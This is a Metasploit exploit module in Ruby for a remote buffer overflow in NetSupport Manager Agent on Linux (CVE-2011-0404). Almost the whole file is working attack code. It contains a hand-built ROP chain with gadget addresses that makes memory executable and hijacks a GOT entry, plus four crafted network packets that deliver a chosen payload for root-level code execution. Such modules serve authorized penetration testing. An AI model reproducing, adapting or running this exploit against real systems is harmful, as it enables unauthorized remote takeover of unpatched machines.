NetSupport Manager Agent Remote Buffer Overflow

`##  
# $Id: netsupport_manager_agent.rb 11868 2011-03-03 01:04:47Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'NetSupport Manager Agent Remote Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in NetSupport Manager Agent. It  
uses a similar ROP to the proftpd_iac exploit in order to avoid non executable stack.  
},  
'Author' =>  
[  
'Luca Carettoni (@_ikki)', # original discovery / exploit  
'Evan', # ported from exploit-db exploit  
'jduck' # original proftpd_iac ROP, minor cleanups  
],  
'Arch' => ARCH_X86,  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 11868 $',  
'References' =>  
[  
[ 'CVE', '2011-0404' ],  
[ 'OSVDB', '70408' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/15937/' ]  
],  
'Privileged' => true,  
'Platform' => 'linux',  
'Payload' =>  
{  
'Space' => 0x975,  
'BadChars' => "",  
'DisableNops' => true,  
},  
'Targets' =>  
[  
[ 'linux',  
{  
'Ret' => 0x0805e50c, # pop eax ; pop ebx ; pop ebp ;;  
'Pad' => 975,  
'RopStack' =>  
[  
### mmap isn't used in the binary so we need to resolve it in libc  
0x00041160, # mmap64 - localtime  
0xa9ae0e6c, # 0x8092b30 - 0x5e5b1cc4, localtime will become mprotect  
0xcccccccc,  
0x08084662, # add DWORD PTR [ebx+0x5e5b1cc4],eax; pop edi; pop ebp ;;  
0xcccccccc,  
0xcccccccc,  
0x080541e4, # localtime@plt (now mmap64)  
0x080617e3, # add esp 0x10 ; pop ebx ; pop esi ; pop ebp ;;  
0, 0x20000, 0x7, 0x22, 0xffffffff, 0, # mmap64 arguments  
0x0, # unused  
0x08066332, # pop edx; pop ebx; pop ebp ;;  
"\x89\x1c\xa8\xc3".unpack('V').first, # mov [eax+ebp*4], ebx  
0xcccccccc,  
0xcccccccc,  
0x080555c4, # mov [eax] edx ; pop ebp ;;  
0xcccccccc,  
#0x0807385a, # push eax ; adc al 0x5d ;;  
  
### this is the stub used to copy shellcode from the stack to  
### the newly mapped executable region  
#\x8D\xB4\x24\x7D\xFB\xFF # lea esi,[dword esp-0x483]  
#\x8D\x78\x12 # lea edi,[eax+0x12]  
#\x6A\x7F # push byte +0x7f  
#\x59 # pop ecx  
#\xF3\xA5 # rep movsd  
  
### there are no good jmp eax so overwrite getrlimits GOT entry  
0x0805591b, # pop ebx; pop ebp ;;  
0x08092d68 - 0x4, # 08092d68 0002f007 R_386_JUMP_SLOT 00000000 getrlimit  
0x1, # becomes ebp  
0x08084f38, # mov [ebx+0x4] eax ; pop ebx ; pop ebp ;;  
0xfb7c24b4, # become eb  
0x01,  
0x08054ac4, # <getrlimit@plt>  
0x0805591b, # pop ebx; pop ebp ;;  
#0xffff8d78, # become ebx  
0x788dffff,  
0x2,  
0x08054ac4, # <getrlimit@plt>  
0x0805591b, # pop ebx; pop ebp ;;  
0x597f6a12,  
0x3,  
0x08054ac4, # <getrlimit@plt>  
0x0805591b, # pop ebx; pop ebp ;;  
0x9090a5f2,  
0x4,  
0x08054ac4, # <getrlimit@plt>  
0x0805591b, # pop ebx; pop ebp ;;  
0x8d909090,  
0x0,  
0x08054ac4, # <getrlimit@plt>  
0xcccccccc,  
0x01010101,  
]  
}  
]  
],  
'DisclosureDate' => 'Feb 12 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(5405),  
], self.class)  
end  
  
def exploit  
connect  
  
#pop_eax_ebx ;  
#0x8084662 # add DWORD PTR [ebx+0x5e5b1cc4],eax ;;  
triggerA = "\x15\x00\x5a\x00" + "\x41" * 1024 + "\x00\x00\x00" +  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
  
triggerB = "\x25\x00\x51\x00\x81\x41\x41\x41\x41\x41\x41\x00" +  
"\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +  
"\x00\x00\x00"  
  
triggerC = "\x37\x00\x03\x00\x0a\x00\x00\x00\x00\x00\x58\xb4" +  
"\x92\xff\x00\x00\x69\x6b\x6b\x69\x00\x57\x4f\x52" +  
"\x4b\x47\x52\x4f\x55\x50\x00\x3c\x3e" + #pleasure trail  
#"\xcc" +  
"\x90" +  
payload.encoded +  
"\xcc" * (target['Pad'] - payload.encoded.length) +  
[target.ret].pack('V')  
  
new = ''  
if target['RopStack']  
new << target['RopStack'].map { |e|  
if e == 0xcccccccc  
rand_text(4).unpack('V').first  
else  
e  
end  
}.pack('V*')  
end  
  
triggerC << new  
triggerC << "\x00" * 4  
triggerC << "\x00\x00\x31\x32\x2e\x36\x32\x2e\x31\x2e\x34\x32"  
triggerC << "\x30\x00\x31\x30\x00\x00"  
  
triggerD = "\x06\x00\x07\x00\x20\x00\x00\x00\x0e\x00\x32\x00" +  
"\x01\x10\x18\x00\x00\x01\x9f\x0d\x00\x00\xe0\x07" +  
"\x06\x00\x07\x00\x00\x00\x00\x00\x02\x00\x4e\x00" +  
"\x02\x00\xac\x00\x04\x00\x7f\x00\x00\x00"  
  
print_status("Sending A")  
sock.put(triggerA)  
select(nil, nil, nil, 1)  
  
print_status("Sending B")  
sock.put(triggerB)  
select(nil, nil, nil, 1)  
  
print_status("Sending C")  
sock.put(triggerC)  
select(nil, nil, nil, 1)  
  
print_status("Sending D")  
sock.put(triggerD)  
select(nil, nil, nil, 1)  
  
disconnect  
end  
end  
`